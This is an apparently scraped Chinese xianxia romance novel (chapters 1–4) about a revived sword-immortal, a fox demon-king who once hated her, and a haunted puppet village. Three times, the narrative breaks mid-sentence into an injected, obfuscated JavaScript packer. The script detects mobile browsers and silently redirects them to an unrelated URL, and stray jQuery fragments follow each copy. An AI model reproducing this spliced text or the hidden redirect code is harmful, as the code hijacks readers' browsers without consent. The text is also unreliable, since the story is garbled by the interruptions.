《死敌冷脸洗衣做饭 gb》
1. 傀儡村(1)
似乎有一道剑光划过苍穹斩断层云,九州三十五郡的阴沉七日的天空终于漏出来一丝曙光。
一片雪花落在了蓬莱山山顶,而后纷纷扬扬洒向九州,下了半日。
所有人都松了一口气,又叹了一口气。
这意味着鬼王被镇压了,而镇压鬼王的那位,如今的剑尊江凝清,也陨落了。
这对大部分人来说,已经是最好的结局了。
“只是可惜江凝清天纵奇才,谁不晓得她当年一剑霜刃惊四海?”
“是啊,或许这世上只有一人觉得江凝清死了畅快。”
“妖灵山的那位妖王?”
“曲堪尘与江凝清有什么过节啊?我看不至于吧,江仙尊以命封印鬼王,再大的过节也不应该……”
“江凝清废了曲堪尘的仙骨。”
瞬间一片哗然,废人仙骨与杀人父母没有什么区别了。
“妖王不是九天狐妖吗,他为何有仙骨,不应是妖骨吗?”
“他是半妖,最初伪装身份修仙,和江仙尊青梅竹马师出同门。只是一朝暴露了身份,那时人妖还没有那么和平,江仙尊只是废了他没有杀他,估计也是看在昔日情分上。只是谁都没想到他还能靠修妖道东山再起……”
人们谈的津津有味,毕竟盘踞在头上的阴霾终于散去,鬼王所言的末日也没有降临。人总是要发泄性的娱乐才仿佛能盖掉自己的恐惧与不安。
但是谁都不知道他们所议论的那个畅快得意的妖灵山妖王,已经强行破了蓬莱山结界,赶往了山顶。
结界的反噬让他原本的一身白衣几乎被染成了血色,无数道细碎的伤口依旧流着血,好在此处冰天雪地让他流血速度减慢许多,让他不至于失血而死。
他那向来用心编织的头发披散凌乱,步履踉跄,一对雪白的狐狸耳朵也不受控地从他的头顶冒出,看起来狼狈至极。
没走几步他便终于支撑不住跌倒在地,又用手虚掩着咳出了一大滩的血迹。
可是他却丝毫没有顾忌自己身体的意思,他只是把怀里的那个女子……的尸体珍宝般的护住,挣扎着爬起来,继续踉跄着往山脚下走去。
他低头看向怀里那个向来风流肆意的女子,惨然一笑:
“江凝清……我这副狼狈的样子,会不会让你高兴一些……那你能不能醒过来,求求你了,你若是醒过来怎么待我都好……”
“你怎么会……我不信,你这种人明明…你总是会给自己找好退路的,你不会死的,求你了……”
回应他的只有蓬莱山落雪的声音。
……
三百年后。
江凝清确实没死,她是被吵醒的。
她睡了太多年,一时睁不开眼睛,身体也动弹不得,只能干听着。
“不能吃啊,这尸体身上都长尸斑了,吃了会生病的!”一个很吵闹的少男说道。
一个略有些迟钝的少女声传来:“饿。”
说着,江凝清就感受到自己的手指被狠狠咬了一口,还挺疼的,估计要见血了。
“啊啊啊不能直接啃啊,真的会生病的!我这里有带的辟谷丹,你不要啃尸体啊!”
一顿鸡飞狗跳,少男似乎终于把少女劝住了,还好劝住了,要不然以少女的咬合力,江凝清这副新身体的手都能被咬下来。
大概过了半柱香时间,江凝清终于控制住了这副身体,摇摇晃晃地坐了起来。
“天啊啊啊你你你诈尸啊,是人是鬼……别杀我别杀我我能给你好多钱呜呜呜呜……”
江凝清揉了揉眉心,看向那个软在地上吓得流眼泪的少男,又看了看旁边那个睁着无辜大眼睛的双丫髻白衣少女,一时不知道哪一个更让人心累。
她清了清嗓子,对看起来更好骗的少男道:“你告诉我你们叫什么名字,这个地方是什么地方,现在是什么年份,我便不杀你们。”
“我我叫钱孟楠,我不认识她只是刚碰上……我不知道她叫什么也不知道这是什么地方现在是多少年啊我忘了对不起我有点害怕……”那个叫钱孟楠的少男很明显被江凝清的诈尸吓了半死,而且一点都不靠谱。
旁边的双丫髻少女平静开口道:“我叫桑榆,桑树榆树的桑榆,现在是仙历三千八百五十六年,不知道这是什么地方,你身上的是尸斑吗?”
江凝清随口道:“是胎记而已,长得像尸斑。”
现在刚刚好是她封印鬼王的第三百年。
明明都是按照计划来的,时间也对的上,为什么重生地点就这么偏僻呢?甚至有几分诡异。
举目望去,四周全是荒草怪石,眼前倒是有一处村庄,但是现在这个时间算是饭点,前面的村庄竟然一户炊烟都没有。
江凝清看了看自己现在这副身体,发丝枯黄,身体瘦的像一把柴火,肤色苍白地像死人……本来就是死了,身上还有几处不是很明显的尸斑。
而她手臂上缓缓出现了一道红色的血痕,遥遥指向身前的村子。
她既占了人家的尸身,总该替人家复仇的,而眼前的村子,便是原身的丧命之处。
看来这个村子果然有问题。
江凝清暗叹一声命苦,对眼前的两个少年道:“你们最好还是早些离开这里吧,这个地方不太对劲,可能有鬼怪出没,专门吃你们这种细皮嫩肉的小孩。”
最后一句话当然是吓唬人的,江凝清对这种事情乐此不疲。
她托腮等待着两个小屁孩落荒而逃,却没想到这两个少年却没有半点退缩的意思。
“没事的,我我就是来除魔卫道的,我带了好多法器,一定没事的。”那个叫钱孟楠的少男自我安慰了一番,手立刻抚上了在腰侧的一沓子符纸,飘忽不定的眼神终于定了下来。
而那个叫桑榆的少女呆呆地看向江凝清,过了一会才开口:“我很强的。”
江凝清怂了怂肩,她不会去打击少年人不知死活的积极性,而且她用灵识扫了他们一眼,他们说的都不是假话。
钱孟楠芥子囊里面放着一堆天灵地宝,桑榆大概是练气大圆满,这两个人跟着她最起码不会丢命。
她拍拍屁股从地上站了起来,对两人道:“跟着我进去可以,但是第一,遇到危险首先要保命,我不会给人收尸。第二,不要给我添太大的麻烦,不然我会把你们丢出去。”
“都听明白了?听明白便跟我走吧。 ”
江凝清走到村庄的入口处,仔细观察了一下,发现右手边偏僻处立着一个石碑。
她伸手让两个少年停下,自己往那个地方走去,发现那个石碑上似乎刻着有字,只是被藤蔓围绕住了,看不真切。
她现在这副身体不足以支撑她用过多的灵力,她也担心藤蔓上有毒,于是她往后身出手去:“给我一把匕首。”
她很快就收到了钱孟楠递过来的一个镶嵌着玉石的匕首,刀刃很锋利,江凝清只是轻轻划了一刀,那些藤蔓便尽然落下,显露出石碑上刻着的字。
傀儡村。
江凝清笑了:“怎么会起这样的名字,一看就邪气的很。”
“我知道这个,”一直没有怎么说话的桑榆开口道,“傀儡村之前不叫傀儡村的,叫赵家庄。”
“哦?”
“是因为后来出了一个很厉害的傀儡戏师,叫赵月,玄同论道时她的表演刚好被当时的仙盟盟主看到。两人一见如故,仙盟盟主很欣赏她,再三邀请她加入玄同宗,只是赵月一直拒绝,说自己志不在此。最终赵月还是回到了村子,优哉游哉闲云野鹤。这件事情被传得很广,因为她的名气村子被改名为傀儡村。”
江凝清抬眼看向桑榆,道:“当时的仙盟盟主是谁?”
“现任盟主的哥哥,慕容歌,也是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844304|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前任的玄同山掌门。”
她对慕容歌有些印象,那人向来霁月光风待人温和有理,也极其擅长识人,礼贤下士,做出这种事情并不奇怪。
江凝清将那把看起来像收藏品的匕首还了回去,朝村子里走去。
村子东头是一片荒凉的杂草地,看样子之前有种过庄稼,只是荒废了有一段时间了,往西走便能看到一座一座的房子。
有些房子门被锁住了,但是大部分房子门都是开着或者虚掩的,风一吹便嘎油嘎油响。
江凝清推开一扇没有被侵蚀的太严重的门,走了进去。
地上的积灰铺了整一层,蛛网密布,看起来很久没有住人了。
江凝清继续往里面探去,进到了厨房。
案板上还有没有收拾的腐烂物品,大概是食材。江凝清往案板上扫了一眼,忽然愣住了,她走上前去,仔细看了看案板上的那把菜刀。
菜刀左右两边都有些许不易察觉的腐烂食品,说明房主人很有可能是切菜中途突然遇害或者离开。
江凝清皱了皱眉头,就在她要退出这个房间的时候,她看到了卧室的地上有一个摔碎的瓷器。
她拿起来拼凑了一下,是茶杯。
她又去搜索了七八个房子,得到的线索都大差不差。
此处不知道遇害了多少年了,痕迹大多数被抹去踪迹,只要零星一点细节让她推测。
“大概率是整个村子的人全都瞬时凭空消失了。”江凝清开口道。
就在此时……最后一束阳光也被黑暗侵蚀掉,江凝清看了看天边,轻笑了一下,对一直跟在身后的两个少年说:“该找地方休息了,晚上大概会有东西出来。”
还未等钱孟楠哆哆嗦嗦开口问是什么东西,一道黑影便朝他的面门袭来。
他大脑一片空白,手脚软的几乎要瘫痪在地上,他张了张嘴,没能喊出什么声音,只用心脏无声的尖叫。
“碰!”碰撞声传到他的耳朵里,让他终于清醒了一些。
他茫然地看着被木棍击打到地上的鬼怪,那个鬼怪身体瘦长浑身漆黑,他从书中看过,是一种很常见的低级怪物,以动作迅速著称,通常杀伤力不大,但是一般成群出现,且必须打到致命处才能杀死。
在这种速度下,而且还一击打到致命处……
“我说了吧,专门吃你这种细皮嫩肉的小孩。”
江凝清一边说一边甩着自己弱不禁风的胳膊,就刚刚那么一小下,她胳膊就有些酸痛了:“钱大少爷,看在我救你一命的份上,给我个轻一点的剑。”
钱孟楠乖乖地从芥子囊里面拿出了一把泛着金光的剑,双手递了过去。
江凝清拎了拎,还算顺手,于是挽了个剑花,扫顾周围看了一圈藏匿在黑暗中的其他黑影。
那些黑影估计有了些神志,看到江凝清后边瑟瑟缩缩往后退,一眨眼消失的无影无踪。
“没有了。”桑榆道。
“没错,看来是被我的英姿飒爽迷住了,不想让我讨厌于是才后退不再伤人,真的是问世间情为何物啊。”
桑榆:“原来是这样,好厉害。”
钱孟楠:……
江凝清笑了笑,开始带着他们找个暂时安全的地方过夜。
他们找到了一个破庙。
“一般来说呢,鬼怪是不会到庙里面来的……”江凝清这句话还未说完,便听到了外面传来了一阵尖锐的声音。
声音很难听,像小孩哭喊夹杂着木板的咯吱声,让人起一身鸡皮疙瘩。
那声音越来越清晰,似乎还有着节拍,像是在唱什么歌一般。
江凝清放出一点点神识,才终于听清了它们在唱什么。
“线缠骨,魂难逃,
夜半傀儡哭又笑。
谁提银丝牵我手?
一步一步向灵庙。”
2. 傀儡村(2)
“一步一步向灵庙?”江凝清重复了一遍这句话,而后看向身后的神像。
那神像刻的是千年前的扶摇真仙,云髻高耸慈眉善目,算是很常见的神像了,并没有任何异常。
江凝清叹了口气,最讨厌这种鬼怪了。
如果可以选择,她更想要直白一点的直接乱杀就好了,而不是这种谜语人,还要动脑子去破局。
她进庙的时候给周围布置了一层结界,最起码今天晚上外面那些吱呀怪叫唱歌的玩意不会对他们造成什么实质性的伤害。
她必须要休息一会了,这副身体负担不了她长时间高强度紧绷。
她刚想要躺到杂草堆上,就看到钱孟楠非常神奇地从他的芥子囊里面掏出来三张简易的软床,还有枕头棉被。
他吭吭哧哧地把床铺好,非常殷勤地把最大的一张床让给了江凝清,自己坐到较小的那一张床上,道:“我负责守夜吧。”
桑榆点点头,对江凝清道:“我守下半夜,你看起来快死了,还是好好睡觉吧。”
江凝清:……
其实不是快死了,是刚活过来。
她也不逞强,很快就睡下了。
此时村口处,一个一身缟素的男子站在外面。他身形修长纤细,长发只用一个玉簪与一根白带松散挽起,夜深露重看不清神色。
他看了看手中的一个粗制滥造的叶子小人,小人兴高采烈地指着村子入口。
男子突然支持不住一般扶住了墙,腰身半弯细细地颤抖着,而后又惊天动地地咳嗽了起来,过了好一会才缓过来,熟练地将咳在手绢上的血销毁。
他刚想起身往村内走去,却似乎想起什么一样呆愣在原地,最终化成了一只雪白狐狸,往寺庙的方向跑去。
……
江凝清睡的并不安稳,大概是身体孱弱的原因,她的梦格外的频繁。
一会是她幼年时期和野狗抢吃的被咬得伤痕累累,一会又是她目睹师姐师兄死于鬼王之口的无能为力,然后又是她亲手将曲堪尘的仙骨剥离,堪尘声音支离破碎地对她说恨……
江凝清猛然惊醒,
“醒醒,有东西来了。”
江凝清一睁开眼就看到桑榆皱着眉头拍自己的手臂,带着些许婴儿肥的小脸一脸严肃,似乎在担心她醒不过来一样。
江凝清听到她说“有东西来了”后便下意识警惕了起来,而后顺着桑榆指着的方向看去,看到的是……一只白色狐狸。
很漂亮的狐狸,身上白的如同新雪没有一点杂质,毛发浓密,蓬松的尾巴乖乖地环绕了自己一圈,耳朵露出很浅很浅的粉色,双眸晶莹如琥珀一般。
江凝清恍惚片刻,便看到那只白狐朝她的方向走了过了,很轻很轻地咬了一下她的手指。
她笑笑,抬头问桑榆道:“这只狐狸是什么时候来的?”
“就在刚刚,从寺庙外面走来的,之后它就一直坐在这里没有动。”桑榆想了一会说道,“我觉得它是不是脑子有些问题,要不要把它煮了吃肉?”
“狐狸肉应该不好吃。”
“那可以油炸,炸的东西一般来说不是很难吃。”
江凝清把手放到狐狸的耳朵上,一边摸耳朵一边煞有其事道:“确实,我还没有吃过狐狸肉。”
她刚说完这句话,刚刚还乖乖被她摸的白狐便愣住了,而后不可置信地后退了两步,非常气愤地加速跑用脑袋撞了江凝清一下。
江凝清已经做好被撞倒在床上再拽住狐狸尾巴要挟他的准备了,却没想到狐狸撞过来的力气并不是很大,虽然是加速跑,但是很明显收着力度。
于是狐狸只是撞在了江凝清的怀里,像是在投怀入抱。
江凝清拎着狐狸的后颈把他拎起来,对桑榆道:“还是不要吃它了吧,这种时候闯进来一只狐狸,大概是有什么蹊跷或者线索。”
桑榆很失望的把一整套锅碗瓢盆还给了钱孟楠,让钱孟楠放到了他的芥子囊里面。
所以那些锅碗瓢盆是什么时候拿出来的?还有这位钱大少爷芥子囊里真的是什么都能拿出来啊。
就在此时,门外又传来了那个童谣:
“线缠骨,魂难逃……”
声音听起来更近了一些,江凝清往外面看去,清楚地看到了唱歌的鬼怪长什么样子。
是四个小孩围在一起玩游戏,有男有女,大概七八岁的样子,若是不细看可能一眼会把他们当做人。
但是细看就会发现他们的嘴角一直在保持着微笑的姿态,眼睛一眨未眨。而且肤色苍白如同死人,无论男女脸上都涂着一层厚厚的腮红,在太阳的照射下那两团腮红泛起油光。
一个“小孩”注意到了他们,头缓缓地往寺庙的方向转过去。
钱孟楠吓得赶紧往江凝清身后躲去,却没想到江凝清朝那小孩挥了挥手,笑道:“小孩过来,姐姐这里有好玩的。”
钱孟楠可能惊吓过度,想象力非常丰富,他颤着声音小声在江凝清耳边道:“不会要把我的头当球玩吧……”
江凝清被逗笑了,点了点头道:“小孩子可能就是喜欢踢球吧,你稍微忍耐一下。”
钱孟楠知道江凝清只是在吓唬他,但是他还是忍不住害怕,一直握着保命符纸瑟瑟发抖,全然忘记了自己进来前说的要证明自己实力的话了。
桑榆倒是没害怕,只是安慰钱孟楠道:“放心吧不会让你死的,你死了你的芥子囊的东西就不能用了。”
江凝清补了一句:“还是能用的,我早些年学过如何强取别人芥子囊的东西。”
桑榆:“哇,好厉害。”
江凝清很理所当然地接受别人的赞美,而后看钱孟楠一脸惊慌失措的样子才笑道:“放心好了,我是个好人。”
江凝清当然不会把钱孟楠的头拧下来,而是选择举起小狐狸粉色的小爪,冲那几个小怪物摇了摇:“姐姐这里有毛茸茸的小狐狸,怎么样,漂亮吧?”
狐狸看起来非常生气地咬了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844305|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一口江凝清的手指,连一点咬痕都没留下,只留下了一点点口水。
江凝清把狐狸正了过来,让它的小脸对着自己,小声威胁:“你现在连咬人的力气都没有了,要是再不听话,我就真的把你油炸了。”
狐狸深吸了两口气,从江凝清的手上跳了下来,整只狐狸都背对着江凝清。
小孩歪了歪脑袋,那个脑袋看起来做的很结实,并没有因为这么一个小小的动作而掉下来。过了一会它拉了拉旁边的三个小孩,几个“人”哒哒哒地往狐狸的方向走了过来。
一个小孩动作非常迅速地用手袭向狐狸,还未等它碰到狐狸毛尖尖,就被江凝清用剑身拍了一下手掌,直接把小孩半个手掌都拍了下去,露出手掌的木头截面。
是木偶傀儡。
“再乱动下次拍得就是你的脑袋。”江凝清笑眯眯道。
躲在江凝清身后的钱孟楠默默吐槽,真的是翻脸不认人啊,明明就是她让那些傀儡来玩这只狐狸的,真玩了又不高兴。
那个傀儡很明显也懵住了,露出了一点生气的苗头,但是看了看它断掉的半个手掌,突然就不生气了,转头就要跑。
江凝清打了个响指,四个木偶瞬时僵硬住,变得像一个个普通的木偶玩具。
“你们昨天晚上大半夜唱什么歌啊,吵到我睡觉了,让我做了一晚上噩梦,所以我现在有点生气。”
江凝清走上前去,点了点一个傀儡的肩膀,那个傀儡脖子以上的部位可以活动了,木头做的眼珠子疯狂转动,表示其心急如焚。
“这样吧,我不打小孩,你告诉我你们大人是谁,我去找你们大人要赔偿。你们四个我会一个个的问你们家大人的位置,要是你们其中有人说了谎话……”江凝清笑了笑,“我就把那个人的木头关节一个个敲碎,把眼睛挖下来,会唱歌的舌头也削掉,怎么样?”
被解封脖子以上的木偶不敢再转动眼珠子了,也收好了自己的舌头,脖子以上部分瑟瑟发抖。
桑榆感叹道:“相比于这些木偶,还是你更像坏人一点,可怕。”
江凝清弹了桑榆一个脑袋崩:“我明明是救苦救难大好人。”
桑榆用双手揉了揉被打红的地方,没顾上反驳她的话。
江凝清把傀儡隔离起来带到角落一个个审问,审了大概半柱香的时间才回来。
钱孟楠凑上去问:“怎么样?问出什么来了没有?”
“他们说……他们的主人不在此间,如果非要要去找主人,那就去离这个寺庙最近的房子里找找,说不定有什么线索,走吧,我们去看看。”
江凝清把狐狸抱了起来,一手拿剑,一手托着着狐狸,刚要走,却听到了一阵脚步声。
“有人来了。”桑榆道。
江凝清往外面看去,便见到一带斗笠的青衣少女往寺庙的方向走来。
少女看到他们之后明媚一笑,朝他们招了招手:“终于让我看见人了,我还以为这个地方没人呢。”
3. 傀儡村(3)
“姓名年龄从哪来到哪去。”江凝清道。
青衣少女张了张嘴略微震惊地看了下他们一行人,而后笑道:“好严肃,怎么和官兵一样,上来就这么盘问。”
江凝清指了指被她绑起来怕吓到钱孟楠于是藏到草丛后面的木偶。
青衣少女的视线随着她的手指过去,而后被吓得后退了好几步,站定后手抚着胸口深呼吸了好几下,一脸惊魂未定的样子。
“这样一点心理预期都没有真的很吓人的啊。”青衣少女吐槽道。
她把头上的斗笠摘了下来,露出一张过于青涩稚嫩的脸,圆圆的眼睛充满少女的灵动。
她额头正中央有一点朱砂痣,格外显眼。
她走到江凝清身边,抬头扫了一眼他们才道:“我叫昭昭,昭昭天宇阔的昭昭,是从西城来的,去瑶光城找人刚好路过此处,只是一普通过路人,对鬼怪之事也只是略通一二。”
江凝清好笑地看了她一眼,她能看出来这个叫昭昭的少女有所隐瞒,绝不是她所说的对鬼怪略通一二的水平。
昭昭对上江凝清的目光,冲她咧嘴回笑了一下,道:“好了,我自我介绍完了,礼尚往来你们也该自我介绍了吧。”
“我叫钱孟楠,是瑶光城钱氏的少东家,你若是去瑶光城可以到钱氏开的客栈,给你打八折。她叫桑榆,虽然一直冷着脸没有表情但是人挺好的。这位叫……”钱孟楠卡住了,尴尬地看向江凝清。
江凝清这才意识到自己还没有告诉他们自己的名字。
天呐,对自己这种来历不明长着尸斑开口就是威胁小孩的人还能这么信任,这两个少年可真的是心大。
江凝清笑了一下开口道:“我叫清清,风露清清湿簟纹的清清。”
昭昭噗嗤一声笑了出来,桑榆看了一下她们,感叹道:“你们的名字好像,都没有姓。”
“因为说的都是假名啊。”江凝清道。
昭昭不置可否,跟着他们一起去了隔壁那间屋子。
这个屋子确实与其他的不同,这里被保养的太好了,没有大片大片的灰尘与蛛网,就连家具也擦拭地干干净净,仿佛有人一直住在这里一般。
而且……房间和院子里有很多用来做木偶傀儡的丝线和涂料,看涂料颜色,寺庙那四个小孩木偶就是这间屋子主人做的。
江凝清秉着能坐着绝不站着的原则随便找了个凳子拖到了书桌前,坐着凳子上便开始翻找书桌上的关键信息。
在翻到一封信的时候,江凝清手臂上的红色血痕亮了亮。。
于是她把信拆开,看到里面的内容。
“赵月小友亲启”。
江凝清看着第一句话微微挑眉,心想果然是那位傀儡戏大师赵月。
而给她写信的人是……江凝清看向最后一行,上面写着三个字“慕容歌”。
就是那个与赵月一见如故的慕容歌?
她略微扫了一下这封信上写的东西,前面洋洋洒洒夸了一堆赵月“才情高致,心性超然”,说她隐居在此真的是太过于可惜了,到最后才说出写这封信的目的是邀请她下个月去玄同山,因为慕容歌即将大婚。
江凝清:哇哦。
不会是什么情爱小说的情节吧,赵月爱而不得于是毁灭……村子?
突然江凝清手上的红痕又亮了一下,这次亮得更加明显,指向了桌子上的一张空白宣纸。
江凝清用手碰了碰那宣纸,很明显感受到上面有灵力波动,这宣纸后面或许就是一个小秘境,或者说这宣纸是一个结界。
她把分开搜索的几个人叫了回来,让他们看了看那封信。
昭昭:“好矫情的用词啊,半篇都是废话。”
钱孟楠小声道:“其实我觉得写得挺好的……我要是能写出这种文章我娘肯定高兴夸我。”
江凝清停顿片刻,问道:“你们都有搜出来什么线索吗?”
钱孟楠摇了摇头,桑榆道:“我去厨房看了,里面没有任何吃食和水。”
江凝清知道桑榆说的是什么意思,这里没有生活痕迹。
要么就是每日有别人来打扫这里,要么就是主人家已经辟谷。
江凝清暗自记下这一点,便听到昭昭道:“我这里倒是有个重大发现。”
“什么?”
“一个小木偶,长得挺可爱的。”
那是一个巴掌大的木偶,用红绳扎着两个辫子,一身俏皮黄衣,栩栩如生。
昭昭正眼带笑意地看着木偶,突然木偶的头转了一圈,但是它的身子没有变,脸与背部成了一面,眼睛盯着江凝清。
本来俏皮可爱的木偶因为她这一个动作显得有些似人非人的诡异。
昭昭脸上的笑容瞬间凝固,钱孟楠也被吓了一大跳,握着保命符纸瑟瑟发抖。
木偶爬到桌子上的那宣纸前。
果然有问题。
木偶七窍都冒出了红色液体,把它整个人都染成血色,液体落到宣纸上,染红了一大片。
突然宣纸冒出来一个黑色漩涡,江凝清感受到一阵吸力,不过只有一瞬。很快那黑色漩涡便消失不见,木偶也像散架一般摔倒在宣纸上。
木偶一字一顿朝着江凝清说道:“你们之间……只有四个是人,所以只能进去四个人。”
桑榆:“我们现在不是只有四个人吗?”
江凝清把木偶托在了手心上,像玩娃娃一样把它的头转了回来,施加了一个清洁咒把它恢复成正常样子,最起码看起来是正常样子。
她的手指上冒出一点指甲大小的灵力,木偶看见后两个小短手立刻抱着江凝清的手指嘬了起来,嘬到一半便被江凝清拎了起来。
“乖乖,你说的‘人’是广义的人还是狭义的‘人’?”
狭义的人就是人类,而广义的人就包括普通人类,已成半仙的修仙者,以及妖。
木偶坐在江凝清手上沉默地想了好长时间,才道:“人……就是,不是鬼怪的灵智体。”
那就是广义的了。
江凝清把地上的狐狸拎着后脖颈抱起来,似笑非笑道:“太不巧了,我们之间有一人是鬼怪,因为这个狐狸不是普通狐狸,而是妖,算是一个人。”
“妖?”
“没错”,江凝清戳了戳狐狸,托腮道,“都这种时候了就化成人形吧。”
地上的狐狸……曲堪尘身体僵硬片刻,在他听到江凝清说“妖”的那一刻大脑便如同被冰封住一般,根本没办法做出什么思考。
她……认出他的身份了?
那为什么还愿意抱他?江凝清不是最厌恶妖了吗?为什么对他态度却很好,愿意捏他的耳朵……
还是说,她没有认出来他是谁,只是觉得他是一个普通小妖。
江凝清她从头到尾厌恶的都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15844306|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只是他吗?
曲堪尘沉默了片刻,下意识想把自己蜷缩成一团,但是江凝清在盯着他。
于是他离远了两步,化成了狐狸精的大众长相,长发如瀑披散在肩头,眼睛狭长而上挑,眼角留着一颗泪痣,美艳动人。
只是他浑身散发着一种皎皎云间月的清冷气质,让他整个人反差感很大。
江凝清托腮认真地看着他的脸,他被她盯得有些呼吸急促,略微慌乱地转过了头,抿唇不语。
“好了,让我们的小狐狸介绍一下自己吧。”江凝清笑眯眯道。
曲堪尘听到“小狐狸”这三个字后心脏错跳了一秒,柔软的心脏像是被人直接用手指头不知轻重地戳了一下一般,他手指蜷缩了一下,而后抬头看向江凝清,鬼使神差道:
“尘尘,窗外尘尘事,窗中梦梦身。”
他说完便后悔了,何必说这个名字呢,随便说一个张三李四的名字不好吗,这样她会猜到自己的身份吧。
他那没有收起来的白狐尾巴蜷缩了一下,心里安慰自己说不定江凝清其实根本没有在意过他呢?
或许他曲堪尘也只是江凝清人生中的一个过客而已。他上一次与江凝清面对面见面或许还是五百年前,这么多年过去了,她见到的风月又那么多,怎么会记得他呢。
只有他死死咬着年少的那一点回忆和恨意,把她随时在心里留下的痕迹给一遍又一遍地纂刻,痛到极致以至于刻骨铭心。
“尘尘,蛮有意思的名字。”江凝清道,“好了,我们来推测一下谁是那个藏在我们身边的鬼怪吧,当是进入秘境的小游戏。”
那个小木偶并没有什么恶意,甚至可以说它似乎在善意提醒他们一样。
反正现在宣纸上的秘境入口还没有成型,江凝清能感受到这个秘境口似乎前两天就打开过一次,所以这次打开有些力不从心。
大概需要半柱香的时间,该找的线索都找得差不多了,现在也就只有找内奸这件事情有些意义。
“昭昭,其实我一直很怀疑你呢。”江凝清开口道。
昭昭怂了怂肩,道:“意料之中,后来的就是这样被排挤,我好可怜。”
“半路冒出本就可疑,而且你说你从西城来,孤身一人赶了那么长时间的路,怎么身上没有半点沧桑的痕迹?”
“当然是用了清洁咒,况且我御剑而行……”
江凝清双手一摊道:“看吧,你刚开始说你只是一个普通人,怎么现在又可以用御剑之术了?”
“只是对陌生人的防范而已,谁知道你们是什么人呢。况且……”昭昭突然凑在江凝清的身侧,用手点了点江凝清脖颈,道,“你这一处,是尸斑吧。”
“我说是胎记你信吗?”
“撒谎成精。”昭昭坐远了些,语气幽怨,“所以我不信任你也是正常的,这明显是尸斑。”
钱孟楠也咽了咽口水,默默坐远了些。
昭昭继续道:“而且你们没有发现这个叫桑榆的小姑娘从头到尾都没有变过表情吗?而且似乎一点情绪波动都没有,不像活人。”
钱孟楠又小心翼翼离桑榆远了些。
江凝清手摸下巴沉思,一本正经道:“你说的有些道理,不过钱孟楠也有嫌疑,毕竟我们几个都有古怪的地方,只有他看起来就是一个普普通通的地主家傻儿子,实在是古怪。”
钱孟楠:……
4. 傀儡村(4)
他们几个就这么互相怀疑了一圈,最终也没找出谁是藏在人群中的鬼怪。
不过也正常,毕竟如果只是靠争论就能争论出来那便真的是儿戏了。
就在她们争论的时候宣纸上的秘境终于完全打开,反正等进了秘境就知道谁不是“四个人”之中的了。
“真的要进去吗?不会有诈吧,进去后就出不来了。”钱孟楠道。
“进去吧你。”江凝清随手一推,将尖叫着的钱孟楠推进宣纸。
“好粗暴。”桑榆道。
“嗯哼。”江凝清点了点头,随即把桑榆也推了进去。
昭昭连忙道:“好姐姐别推我,我自己下去。”
随即她便进入了宣纸,消失在原地。
江凝清皱起了眉。
既然谁都可以进去,那那个非人者又是谁呢?难不成真在他们两个之间。
还是说那个木偶是骗人的?目的是为了离间他们。
她望向曲堪尘。
曲堪尘从刚刚开始便一直没有说话,他察觉到江凝清的视线,缓缓抬眸,嘴唇嗫嚅了好久,最终还是没有说出一句话来。
“哑巴?”江凝清沉思了一会,扶额道,“那咋办,我也不会手语。”
“不过你应该能听得到吧,你若是不想进去,我现在送你回妖灵山,好好修养。”江凝清放缓了声音道。
曲堪尘手指蜷缩了一下,神情微愣,心想她或许真的不知道自己的真实身份,只是能看出来自己是妖而已。
他心里松了一口气,却又莫名生出一分奇异的失落来。
他道:“我没事的,我跟着你就好。”
“哦,原来不是哑巴。”江凝清松了一口气道,“那你现在进去吧,难道非要和我手牵手进去吗?”
曲堪尘抿唇不语。
江凝清笑着歪头看他,道:“难不成这个哑疾是一会犯病一会不犯病的?”
曲堪尘这才开口:“我是想……万一进去后分开该怎么办,我没有自保能力,有些害怕。”
睁眼说瞎话的能力和江凝清简直是一脉相承。
江凝清道:“那你变成小狐狸我抱着你进去?”
曲堪尘身体僵硬了一瞬,而后点了点头,下一秒就变成了毛色通白尾巴蓬松的小狐狸,蹭到了江凝清脚边,嘤嘤嘤地叫了一声。
“你变成小狐狸的样子可比变成人类样子坦诚多了,最起码知道说话。”
江凝清蹲下把他抱住怀中,触碰了一下桌子上的宣纸。
很快,他们也消失在了原地,进入宣纸里面埋藏的秘境。
江凝清再次睁开眼睛的时候发现自己正板板正正地躺在地上,睁开眼睛就是蓝天白云,睡姿规矩地像个被摆好姿态的死人。
她感觉胸口有些闷闷的,像是鬼压床。
江凝清气息屏住,放开神识搜索,发现……根本就不是鬼压床,是她身上压了一只狐狸。
江凝清立马坐了起来把狐狸拎到一边,扑了扑身上的灰尘。
白狐狸似乎刚醒,下意识伸了个小小的懒腰,而后化作人形站着旁边,看着江凝清道:“没有掉毛。”
“嗯?”
